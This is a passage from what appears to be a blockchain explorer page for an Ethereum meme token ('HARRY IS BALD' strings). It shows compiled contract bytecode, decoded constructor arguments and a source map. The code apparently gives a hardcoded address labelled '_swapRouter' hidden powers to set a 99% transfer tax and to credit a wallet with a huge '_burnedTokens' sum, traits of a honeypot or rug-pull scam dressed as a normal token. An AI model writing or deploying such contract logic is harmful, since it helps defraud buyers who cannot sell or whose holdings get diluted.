fffffffffffffffffffffff1614155b5b80611f31575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16148015611f3057505f600a54145b5b611f70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6790613338565b60405180910390fd5b8260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015611fb9575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611ff0575f80fd5b6120408360045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612e8a90919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506120d18360045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161216f91906130fa565b60405180910390a3600191505092915050565b73cb8ba9959883cbd9533eab444c6bf4fbbfe48e6f73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612204576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121fb90613706565b60405180910390fd5b600b5f9054906101000a900460ff1615612253576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224a9061376e565b60405180910390fd5b5f8214612295576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161228c906137d6565b60405180910390fd5b606381146122d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122cf9061383e565b60405180910390fd5b8160098190555080600a819055506001600b5f6101000a81548160ff0219169083151502179055506001600b60016101000a81548160ff0219169083151502179055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1828260405161234c92919061385c565b60405180910390a15050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052815f5260405f20602052805f5260405f205f91509150505481565b33600b60029054906101000a900460ff16806123ff5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061242e5750600b5f9054906101000a900460ff1615801561242d5750600b60019054906101000a900460ff165b5b806124ef5750600b5f9054906101000a900460ff1680156124955750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80156124ee575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80612553575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561255257505f600a54145b5b612592576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161258990613338565b60405180910390fd5b8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015612612576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260990613496565b60405180910390fd5b600b60019054906101000a900460ff1615612a12575f808390505f600a5411801561268a575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b80156126dd5750600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156127225761270a60646126fc600a5487612dbc90919063ffffffff16565b612e3390919063ffffffff16565b915061271f8285612e8a90919063ffffffff16565b90505b6127728460045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612e8a90919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506128248160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161290491906130fa565b60405180910390a35f821115612a0b576129648260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612a0291906130fa565b60405180910390a35b5050612bfd565b612a628260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612e8a90919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550612b148260045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612bf491906130fa565b60405180910390a35b5050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612c90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c87906134fe565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612cfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cf5906138cd565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f808303612dcc575f9050612e2d565b5f8284612dd99190613918565b9050828482612de89190613986565b14612e28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e1f90613a00565b60405180910390fd5b809150505b92915050565b5f808211612e76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e6d90613a68565b60405180910390fd5b8183612e829190613986565b905092915050565b5f82821115612ece576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ec590613ad0565b60405180910390fd5b8183612eda9190613aee565b905092915050565b5f808284612ef09190613b21565b905083811015612f35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f2c90613b9e565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612f76578082015181840152602081019050612f5b565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612f9b82612f3f565b612fa58185612f49565b9350612fb5818560208601612f59565b612fbe81612f81565b840191505092915050565b5f6020820190508181035f830152612fe18184612f91565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61301682612fed565b9050919050565b6130268161300c565b8114613030575f80fd5b50565b5f813590506130418161301d565b92915050565b5f819050919050565b61305981613047565b8114613063575f80fd5b50565b5f8135905061307481613050565b92915050565b5f80604083850312156130905761308f612fe9565b5b5f61309d85828601613033565b92505060206130ae85828601613066565b9150509250929050565b5f8115159050919050565b6130cc816130b8565b82525050565b5f6020820190506130e55f8301846130c3565b92915050565b6130f481613047565b82525050565b5f60208201905061310d5f8301846130eb565b92915050565b5f805f6060848603121561312a57613129612fe9565b5b5f61313786828701613033565b935050602061314886828701613033565b925050604061315986828701613066565b9150509250925092565b5f60ff82169050919050565b61317881613163565b82525050565b5f6020820190506131915f83018461316f565b92915050565b5f602082840312156131ac576131ab612fe9565b5b5f6131b984828501613033565b91505092915050565b6131cb8161300c565b82525050565b5f6020820190506131e45f8301846131c2565b92915050565b5f8060408385031215613200576131ff612fe9565b5b5f61320d85828601613066565b925050602061321e85828601613066565b9150509250929050565b5f806040838503121561323e5761323d612fe9565b5b5f61324b85828601613033565b925050602061325c85828601613033565b9150509250929050565b5f6020828403121561327b5761327a612fe9565b5b5f61328884828501613066565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806132d557607f821691505b6020821081036132e8576132e7613291565b5b50919050565b7f42414c44485000000000000000000000000000000000000000000000000000005f82015250565b5f613322600683612f49565b915061332d826132ee565b602082019050919050565b5f6020820190508181035f83015261334f81613316565b9050919050565b7f564f4c44454d4f525420495320534341524544204d4f5245205448414e2045565f8201527f4552204245464f52450000000000000000000000000000000000000000000000602082015250565b5f6133b0602983612f49565b91506133bb82613356565b604082019050919050565b5f6020820190508181035f8301526133dd816133a4565b9050919050565b7f2442414c444850000000000000000000000000000000000000000000000000005f82015250565b5f613418600783612f49565b9150613423826133e4565b602082019050919050565b5f6020820190508181035f8301526134458161340c565b9050919050565b7f42414c44484152525900000000000000000000000000000000000000000000005f82015250565b5f613480600983612f49565b915061348b8261344c565b602082019050919050565b5f6020820190508181035f8301526134ad81613474565b9050919050565b7f4953204f4e2054484520434841494e00000000000000000000000000000000005f82015250565b5f6134e8600f83612f49565b91506134f3826134b4565b602082019050919050565b5f6020820190508181035f830152613515816134dc565b9050919050565b7f4841525259495342414c440000000000000000000000000000000000000000005f82015250565b5f613550600b83612f49565b915061355b8261351c565b602082019050919050565b5f6020820190508181035f83015261357d81613544565b9050919050565b7f4e4f2048414952204c45465400000000000000000000000000000000000000005f82015250565b5f6135b8600c83612f49565b91506135c382613584565b602082019050919050565b5f6020820190508181035f8301526135e5816135ac565b9050919050565b7f4f4e2048415252595320484541440000000000000000000000000000000000005f82015250565b5f613620600e83612f49565b915061362b826135ec565b602082019050919050565b5f6020820190508181035f83015261364d81613614565b9050919050565b7f484152525942414c4400000000000000000000000000000000000000000000005f82015250565b5f613688600983612f49565b915061369382613654565b602082019050919050565b5f6020820190508181035f8301526136b58161367c565b9050919050565b7f504f54544552495342414c4400000000000000000000000000000000000000005f82015250565b5f6136f0600c83612f49565b91506136fb826136bc565b602082019050919050565b5f6020820190508181035f83015261371d816136e4565b9050919050565b7f485042414c4400000000000000000000000000000000000000000000000000005f82015250565b5f613758600683612f49565b915061376382613724565b602082019050919050565b5f6020820190508181035f8301526137858161374c565b9050919050565b7f48415252592049532042414c44204e4f572121000000000000000000000000005f82015250565b5f6137c0601383612f49565b91506137cb8261378c565b602082019050919050565b5f6020820190508181035f8301526137ed816137b4565b9050919050565b7f2442414c444841525259595959000000000000000000000000000000000000005f82015250565b5f613828600d83612f49565b9150613833826137f4565b602082019050919050565b5f6020820190508181035f8301526138558161381c565b9050919050565b5f60408201905061386f5f8301856130eb565b61387c60208301846130eb565b9392505050565b7f2442414c444841525259504f54544552000000000000000000000000000000005f82015250565b5f6138b7601083612f49565b91506138c282613883565b602082019050919050565b5f6020820190508181035f8301526138e4816138ab565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61392282613047565b915061392d83613047565b925082820261393b81613047565b91508282048414831517613952576139516138eb565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61399082613047565b915061399b83613047565b9250826139ab576139aa613959565b5b828204905092915050565b7f46524f4d204e4f57204f4e0000000000000000000000000000000000000000005f82015250565b5f6139ea600b83612f49565b91506139f5826139b6565b602082019050919050565b5f6020820190508181035f830152613a17816139de565b9050919050565b7f464f5245564552000000000000000000000000000000000000000000000000005f82015250565b5f613a52600783612f49565b9150613a5d82613a1e565b602082019050919050565b5f6020820190508181035f830152613a7f81613a46565b9050919050565b7f484152525920504f5454455200000000000000000000000000000000000000005f82015250565b5f613aba600c83612f49565b9150613ac582613a86565b602082019050919050565b5f6020820190508181035f830152613ae781613aae565b9050919050565b5f613af882613047565b9150613b0383613047565b9250828203905081811115613b1b57613b1a6138eb565b5b92915050565b5f613b2b82613047565b9150613b3683613047565b9250828201905080821115613b4e57613b4d6138eb565b5b92915050565b7f49532042414c44000000000000000000000000000000000000000000000000005f82015250565b5f613b88600783612f49565b9150613b9382613b54565b602082019050919050565b5f6020820190508181035f830152613bb581613b7c565b905091905056fea2646970667358221220e9cf6f7ba796ee20dcdbeca4afde4f3da1d8e958df576536c333f15bba9e780864736f6c63430008150033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000cb8ba9959883cbd9533eab444c6bf4fbbfe48e6f000000000000000000010b46c6cdd6e3e0828f4db456ff0c8e9fffffffffffff

-----Decoded View---------------
Arg [0] : _swapRouter (address): 0xCB8bA9959883CbD9533eAB444c6BF4FBBfE48E6f
Arg [1] : _burnedTokens (uint256): 99999999999999999999999999999999999999999999999999999

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 000000000000000000000000cb8ba9959883cbd9533eab444c6bf4fbbfe48e6f
Arg [1] : 000000000000000000010b46c6cdd6e3e0828f4db456ff0c8e9fffffffffffff


Deployed Bytecode Sourcemap

894:7541:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;962:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3281:229;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1055:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3520:1638;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1467:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1431:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1117;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1592:43;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1396:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1356:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1546:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1158:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5397:149;;;;;;;;;;;;;:::i;:::-;;1290:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1013:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5554:394;;;;;;;;;;;;;:::i;:::-;;1504:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6440:830;;;:::i;:::-;;2854:417;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5956:476;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1320:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1213:64;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7278:1154;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5166:223;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;962:40;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3281:229::-;3348:12;3410:6;3376:9;:21;3386:10;3376:21;;;;;;;;;;;;;;;:31;3398:8;3376:31;;;;;;;;;;;;;;;:40;;;;3457:8;3436:38;;3445:10;3436:38;;;3467:6;3436:38;;;;;;:::i;:::-;;;;;;;;3495:4;3488:11;;3281:229;;;;:::o;1055:51::-;;;;:::o;3520:1638::-;3620:12;3604:5;2510:17;;;;;;;;;;;:40;;;;2531:11;:19;2543:6;2531:19;;;;;;;;;;;;;;;;;;;;;;;;;2510:40;:69;;;;2556:7;;;;;;;;;;;2555:8;:23;;;;;2567:11;;;;;;;;;;;2555:23;2510:69;:129;;;;2584:7;;;;;;;;;;;:30;;;;;2595:11;:19;2607:6;2595:19;;;;;;;;;;;;;;;;;;;;;;;;;2584:30;:54;;;;;2628:10;;;;;;;;;;;2618:20;;:6;:20;;;;2584:54;2510:129;:171;;;;2654:10;;;;;;;;;;;2644:20;;:6;:20;;;:36;;;;;2679:1;2668:7;;:12;2644:36;2510:171;2488:231;;;;;;;;;;;;:::i;:::-;;;;;;;;;3676:7:::1;3656:9;:16;3666:5;3656:16;;;;;;;;;;;;;;;;:27;;3648:81;;;;;;;;;;;;:::i;:::-;;;;;;;;;3784:7;3752:9;:16;3762:5;3752:16;;;;;;;;;;;;;;;:28;3769:10;3752:28;;;;;;;;;;;;;;;;:39;;3744:59;;;;;;;;;;;;:::i;:::-;;;;;;;;;3840:1;3825:17;;:3;:17;;::::0;3817:39:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;3873:11;3903:22:::0;3928:7:::1;3903:32;;3954:11;;;;;;;;;;;:26;;;;;3979:1;3969:7;;:11;3954:26;:49;;;;;3993:10;;;;;;;;;;;3984:19;;:5;:19;;;;3954:49;:72;;;;;4008:11;:18;4020:5;4008:18;;;;;;;;;;;;;;;;;;;;;;;;;4007:19;3954:72;3950:198;;;4053:29;4078:3;4053:20;4065:7;;4053;:11;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;4047:35;;4117:16;4129:3;4117:7;:11;;:16;;;;:::i;:::-;4100:33;;3950:198;4179:29;4200:7;4179:9;:16;4189:5;4179:16;;;;;;;;;;;;;;;;:20;;:29;;;;:::i;:::-;4160:9;:16;4170:5;4160:16;;;;;;;;;;;;;;;:48;;;;4240:34;4259:14;4240:9;:14;4250:3;4240:14;;;;;;;;;;;;;;;;:18;;:34;;;;:::i;:::-;4223:9;:14;4233:3;4223:14;;;;;;;;;;;;;;;:51;;;;4310:3;4294:36;;4303:5;4294:36;;;4315:14;4294:36;;;;;;:::i;:::-;;;;;;;;4357:1;4351:3;:7;4347:503;;;4375:23;4409:42;4375:77;;4482:15;4475:22;;:3;:22;;::::0;4471:368:::1;;4551:35;4582:3;4551:9;:26;4561:15;4551:26;;;;;;;;;;;;;;;;:30;;:35;;;;:::i;:::-;4522:9;:26;4532:15;4522:26;;;;;;;;;;;;;;;:64;;;;4630:15;4614:37;;4623:5;4614:37;;;4647:3;4614:37;;;;;;:::i;:::-;;;;;;;;4471:368;;;4723:33;4752:3;4723:9;:24;4741:4;4723:24;;;;;;;;;;;;;;;;:28;;:33;;;;:::i;:::-;4696:9;:24;4714:4;4696:24;;;;;;;;;;;;;;;:60;;;;4808:4;4784:35;;4793:5;4784:35;;;4815:3;4784:35;;;;;;:::i;:::-;;;;;;;;4471:368;4360:490;4347:503;4875:10;4866:19;;:5;:19;;;;:72;;;;;4921:17;4889:9;:16;4899:5;4889:16;;;;;;;;;;;;;;;:28;4906:10;4889:28;;;;;;;;;;;;;;;;:49;;4866:72;4862:265;;;4990:41;5023:7;4990:9;:16;5000:5;4990:16;;;;;;;;;;;;;;;:28;5007:10;4990:28;;;;;;;;;;;;;;;;:32;;:41;;;;:::i;:::-;4959:9;:16;4969:5;4959:16;;;;;;;;;;;;;;;:28;4976:10;4959:28;;;;;;;;;;;;;;;:72;;;;5071:10;5055:57;;5064:5;5055:57;;;5083:9;:16;5093:5;5083:16;;;;;;;;;;;;;;;:28;5100:10;5083:28;;;;;;;;;;;;;;;;5055:57;;;;;;:::i;:::-;;;;;;;;4862:265;5146:4;5139:11;;;;3520:1638:::0;;;;;;:::o;1467:27::-;;;;;;;;;;;;;:::o;1431:26::-;;;;:::o;1117:::-;;;;;;;;;;;;;:::o;1592:43::-;;;;;;;;;;;;;;;;;;;;;;:::o;1396:25::-;;;;:::o;1356:27::-;;;;:::o;1546:36::-;;;;;;;;;;;;;:::o;1158:44::-;;;;;;;;;;;;;;;;;:::o;5397:149::-;2801:5;;;;;;;;;;;2787:19;;:10;:19;;;2779:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;5499:1:::1;5463:39;;5484:5;;;;;;;;;;;5463:39;;;;;;;;;;;;5533:1;5517:5;;:18;;;;;;;;;;;;;;;;;;5397:149::o:0;1290:20::-;;;;;;;;;;;;;:::o;1013:31::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;5554:394::-;5603:7;;;;;;;;;;;5595:31;;;;;;;;;;;;:::i;:::-;;;;;;;;;5670:1;5648:24;;:10;;;;;;;;;;;:24;;;5640:49;;;;;;;;;;;;:::i;:::-;;;;;;;;;5727:1;5712:12;;:16;5704:43;;;;;;;;;;;;:::i;:::-;;;;;;;;;5778:29;5794:12;;5778:11;;:15;;:29;;;;:::i;:::-;5764:11;:43;;;;5845:39;5871:12;;5845:9;:21;5855:10;;;;;;;;;;;5845:21;;;;;;;;;;;;;;;;:25;;:39;;;;:::i;:::-;5821:9;:21;5831:10;;;;;;;;;;;5821:21;;;;;;;;;;;;;;;:63;;;;5911:10;;;;;;;;;;;5906:30;;;5923:12;;5906:30;;;;;;:::i;:::-;;;;;;;;5554:394::o;1504:31::-;;;;;;;;;;;;;:::o;6440:830::-;6480:10;2510:17;;;;;;;;;;;:40;;;;2531:11;:19;2543:6;2531:19;;;;;;;;;;;;;;;;;;;;;;;;;2510:40;:69;;;;2556:7;;;;;;;;;;;2555:8;:23;;;;;2567:11;;;;;;;;;;;2555:23;2510:69;:129;;;;2584:7;;;;;;;;;;;:30;;;;;2595:11;:19;2607:6;2595:19;;;;;;;;;;;;;;;;;;;;;;;;;2584:30;:54;;;;;2628:10;;;;;;;;;;;2618:20;;:6;:20;;;;2584:54;2510:129;:171;;;;2654:10;;;;;;;;;;;2644:20;;:6;:20;;;:36;;;;;2679:1;2668:7;;:12;2644:36;2510:171;2488:231;;;;;;;;;;;;:::i;:::-;;;;;;;;;6527:1:::1;6515:9;:13;6507:35;;;;;;;;;;;;:::i;:::-;;;;;;;;;6559:14;6576:9;6559:26;;6612:1;6603:6;;:10;6599:664;;;6630:11;6644:27;6667:3;6644:18;6655:6;;6644;:10;;:18;;;;:::i;:::-;:22;;:27;;;;:::i;:::-;6630:41;;6690:22;6715:15;6726:3;6715:6;:10;;:15;;;;:::i;:::-;6690:40;;6774:41;6800:14;6774:9;:21;6784:10;;;;;;;;;;;6774:21;;;;;;;;;;;;;;;;:25;;:41;;;;:::i;:::-;6750:9;:21;6760:10;;;;;;;;;;;6750:21;;;;;;;;;;;;;;;:65;;;;6863:10;;;;;;;;;;;6839:51;;6856:4;6839:51;;;6875:14;6839:51;;;;;;:::i;:::-;;;;;;;;6920:1;6914:3;:7;6910:181;;;6969:33;6998:3;6969:9;:24;6987:4;6969:24;;;;;;;;;;;;;;;;:28;;:33;;;;:::i;:::-;6942:9;:24;6960:4;6942:24;;;;;;;;;;;;;;;:60;;;;7061:4;7029:43;;7046:4;7029:43;;;7068:3;7029:43;;;;;;:::i;:::-;;;;;;;;6910:181;6615:487;;6599:664;;;7147:33;7173:6;7147:9;:21;7157:10;;;;;;;;;;;7147:21;;;;;;;;;;;;;;;;:25;;:33;;;;:::i;:::-;7123:9;:21;7133:10;;;;;;;;;;;7123:21;;;;;;;;;;;;;;;:57;;;;7228:10;;;;;;;;;;;7204:43;;7221:4;7204:43;;;7240:6;7204:43;;;;;;:::i;:::-;;;;;;;;6599:664;6492:778;6440:830:::0;:::o;2854:417::-;2940:12;2919:10;2510:17;;;;;;;;;;;:40;;;;2531:11;:19;2543:6;2531:19;;;;;;;;;;;;;;;;;;;;;;;;;2510:40;:69;;;;2556:7;;;;;;;;;;;2555:8;:23;;;;;2567:11;;;;;;;;;;;2555:23;2510:69;:129;;;;2584:7;;;;;;;;;;;:30;;;;;2595:11;:19;2607:6;2595:19;;;;;;;;;;;;;;;;;;;;;;;;;2584:30;:54;;;;;2628:10;;;;;;;;;;;2618:20;;:6;:20;;;;2584:54;2510:129;:171;;;;2654:10;;;;;;;;;;;2644:20;;:6;:20;;;:36;;;;;2679:1;2668:7;;:12;2644:36;2510:171;2488:231;;;;;;;;;;;;:::i;:::-;;;;;;;;;3002:7:::1;2977:9;:21;2987:10;2977:21;;;;;;;;;;;;;;;;:32;;2969:41;;;::::0;::::1;;3047:1;3032:17;;:3;:17;;::::0;3024:26:::1;;;::::0;::::1;;3091:34;3117:7;3091:9;:21;3101:10;3091:21;;;;;;;;;;;;;;;;:25;;:34;;;;:::i;:::-;3067:9;:21;3077:10;3067:21;;;;;;;;;;;;;;;:58;;;;3156:27;3175:7;3156:9;:14;3166:3;3156:14;;;;;;;;;;;;;;;;:18;;:27;;;;:::i;:::-;3139:9;:14;3149:3;3139:14;;;;;;;;;;;;;;;:44;;;;3223:3;3202:34;;3211:10;3202:34;;;3228:7;3202:34;;;;;;:::i;:::-;;;;;;;;3259:4;3252:11;;2854:417:::0;;;;;:::o;5956:476::-;6050:42;6036:56;;:10;:56;;;6028:81;;;;;;;;;;;;:::i;:::-;;;;;;;;;6129:7;;;;;;;;;;;6128:8;6120:27;;;;;;;;;;;;:::i;:::-;;;;;;;;;6180:1;6166:10;:15;6158:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;6238:2;6224:10;:16;6216:42;;;;;;;;;;;;:::i;:::-;;;;;;;;;6278:10;6269:6;:19;;;;6309:10;6299:7;:20;;;;6340:4;6330:7;;:14;;;;;;;;;;;;;;;;;;6369:4;6355:11;;:18;;;;;;;;;;;;;;;;;;6389:35;6401:10;6413;6389:35;;;;;;;:::i;:::-;;;;;;;;5956:476;;:::o;1320:25::-;;;;;;;;;;;;;:::o;1213:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;7278:1154::-;7326:10;2510:17;;;;;;;;;;;:40;;;;2531:11;:19;2543:6;2531:19;;;;;;;;;;;;;;;;;;;;;;;;;2510:40;:69;;;;2556:7;;;;;;;;;;;2555:8;:23;;;;;2567:11;;;;;;;;;;;2555:23;2510:69;:129;;;;2584:7;;;;;;;;;;;:30;;;;;2595:11;:19;2607:6;2595:19;;;;;;;;;;;;;;;;;;;;;;;;;2584:30;:54;;;;;2628:10;;;;;;;;;;;2618:20;;:6;:20;;;;2584:54;2510:129;:171;;;;2654:10;;;;;;;;;;;2644:20;;:6;:20;;;:36;;;;;2679:1;2668:7;;:12;2644:36;2510:171;2488:231;;;;;;;;;;;;:::i;:::-;;;;;;;;;7385:7:::1;7360:9;:21;7370:10;7360:21;;;;;;;;;;;;;;;;:32;;7352:54;;;;;;;;;;;;:::i;:::-;;;;;;;;;7427:11;;;;;;;;;;;7423:1002;;;7459:11;7492:22:::0;7517:7:::1;7492:32;;7559:1;7549:7;;:11;:39;;;;;7578:10;;;;;;;;;;;7564:24;;:10;:24;;;;7549:39;:67;;;;;7593:11;:23;7605:10;7593:23;;;;;;;;;;;;;;;;;;;;;;;;;7592:24;7549:67;7545:205;;;7646:29;7671:3;7646:20;7658:7;;7646;:11;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;7640:35;;7715:16;7727:3;7715:7;:11;;:16;;;;:::i;:::-;7698:33;;7545:205;7790:34;7816:7;7790:9;:21;7800:10;7790:21;;;;;;;;;;;;;;;;:25;;:34;;;;:::i;:::-;7766:9;:21;7776:10;7766:21;;;;;;;;;;;;;;;:58;;;;7866:41;7892:14;7866:9;:21;7876:10;;;;;;;;;;;7866:21;;;;;;;;;;;;;;;;:25;;:41;;;;:::i;:::-;7842:9;:21;7852:10;;;;;;;;;;;7842:21;;;;;;;;;;;;;;;:65;;;;7952:10;;;;;;;;;;;7931:48;;7940:10;7931:48;;;7964:14;7931:48;;;;;;:::i;:::-;;;;;;;;8010:1;8004:3;:7;8000:179;